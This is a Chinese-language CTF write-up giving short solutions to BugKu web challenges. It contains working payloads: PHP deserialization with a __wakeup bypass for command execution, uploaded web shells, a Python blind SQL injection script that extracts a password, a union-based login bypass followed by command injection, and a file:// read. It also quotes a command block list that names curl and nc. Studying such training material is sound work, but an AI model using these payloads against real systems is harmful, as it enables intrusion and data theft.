BugKu Web 刷题记录 4

参考:

ctf中的序列化和反序列化

BugKu-Web-wp1

BugKu-Web-wp2

BugKu-Web-wp3

Bugku-Web-wp4

sql注入

你从哪里来

添加Referer字段即可。

where.png

MD5

根据提示得知是md5碰撞,故构造payload如下即可获得flag。

http://114.67.175.224:14728/index.php?a=s878926199a

程序员本地网站

添加client-ip字段即可

clientip.png

file_get_contents

访问http://114.67.175.224:12650/flag.txt得到bugku,然后构造payload即可

http://114.67.175.224:12650/?ac=bugku&fn=flag.txt

安慰奖

F12查看源码,发现base64编码,解码后为backups,用dirsearch扫描一遍发现有bak文件,下载下来即可获得源码

anwei1.png

<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}

function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>

构造payload

http://114.67.175.224:15293/?code=O:3:%22ctf%22:3:{s:11:%22%00*%00username%22;s:5:%22admin%22;s:6:%22%00*%00cmd%22;s:12:%22tac%20flag.php%22;}

__wakeup 将在序列化之后立即被调用,绕过它仅需要将上面的对象属性个数值改得比真实对象大即可。

文件上传

修改字段信息上传文件

up1.png

使用蚁剑连接,寻找flag

up2.png

参考:BugKu-Web-wp1

decrypt

解压后获得源码

<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>

可以看到里面是个加密函数,故构造解密函数即可,exp如下(注意提交的Flag形式)

<?php
$input = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='; //提示中的字符串
function decrypt($str){
$str = base64_decode($str);
$len = strlen($str);
$key = md5('ISCC');
$klen = strlen($key);
$x = 0;
$char = '';
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
// str = (data[i] + char[i])%128
$data = '';
for ($i=0; $i < $len; $i++) {
$data .= chr((128 + ord($str[$i]) - ord($char[$i])) % 128);
}
return $data;
}
echo decrypt($input);
?>

文件包含2

F12查看发现有upload.php,然后用burp进行文件上传

up2_1.png

用蚁剑进行连接并寻找flag

up2_2.png

up2_3.png

需要管理员

用dirsearch扫一遍

admin1.png

进入robots.txt

admin2.png

进入resusl.php

admin3.png

观察页面发现需要输入密码,可以使用burpsuite爆破也可以根据题目名称猜测得到(密码是admin)

admin4.png

newphp

打开网页即可获得源码,根据源码构造payload

username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

newphp1.png

base64解码后得到

<?php
$hint = "index.cgi";
// You can't see me~

访问该页面

newphp2.png

构造payload

http://114.67.175.224:11918/index.cgi?name=%20file:////flag

newphp3.png

参考:BugKu-Web-wp2

点login咋没反应

进入后查看网页源代码发现有href="admin.css",点进去后发现第一行有提示/* try ?29614 */,加入后缀后即可获得源代码

<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['29614'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>

<?php
}
?>

审计后发现构造序列化字符串使得其反序列化后与$KEY的值恒等即可

login.png

都过滤了

登录界面的账号一栏可以被sql注入,编写脚本获取密码

import requests
import os
import re
import base64

def change_data(uname,data):
data['uname'] = uname
def len_of_passwd(url,data,cookie,uname):
for i in range(1, 100):
uname = "admin'^(length(passwd)=" + str(i) + ")^'"
change_data(uname,data)
r = requests.post(url=url, cookies=cookie, data=data)
if "username error!!@_@" in r.text:
#print("密码的长度是"+str(i))
return i
def get_passwd(url,data,cookie,uname,length):
password = ''
for i in range(1, length+1):
for ch in '0123456789abcdefghijklmnopqrstuvwxyz':
uname = "admin'-(ascii(mid((passwd)from(" + str(i) + ")))=" + str(ord(ch)) + ")-'"
change_data(uname,data)
r = requests.post(url=url, cookies=cookie, data=data)
if "username error!!@_@" in r.text:
password += ch
break
print("password:",password)
url = "http://114.67.175.224:11041/login.php"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0'
}
cookie = {
'PHPSESSID':'nnff401s86pvr720ouq5qe0k40'
}
uname = 'admin'
data = {
'uname':uname,
'passwd':'123123'
}
length = len_of_passwd(url,data,cookie,uname)
get_passwd(url,data,cookie,uname,length)
#bukuctf:4dcc88f8f1bc05e7c2ad1a60288481a2

登陆后输入命令{cat,/flag}即可获得flag

参考:BugKu-Web-wp3

login2

用burp抓包发现有tip字段,base64解码即可得到提示

login2_1.png

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

构造username=admin' union select 1,md5(123)# password=123即可创建一个不存在的用户通过验证,进入后使用命令123| cat /flag > test,然后进入网址http://114.67.175.224:15394/test即可获得flag。

login2_2.png

参考:Bugku-Web-wp4

还有反弹shell的做法:https://www.jianshu.com/p/4f8d8d8b7b31

sql注入

盲猜账号admin和密码bugkuctf,然后直接拿到了flag。

大佬的注入过程:sql注入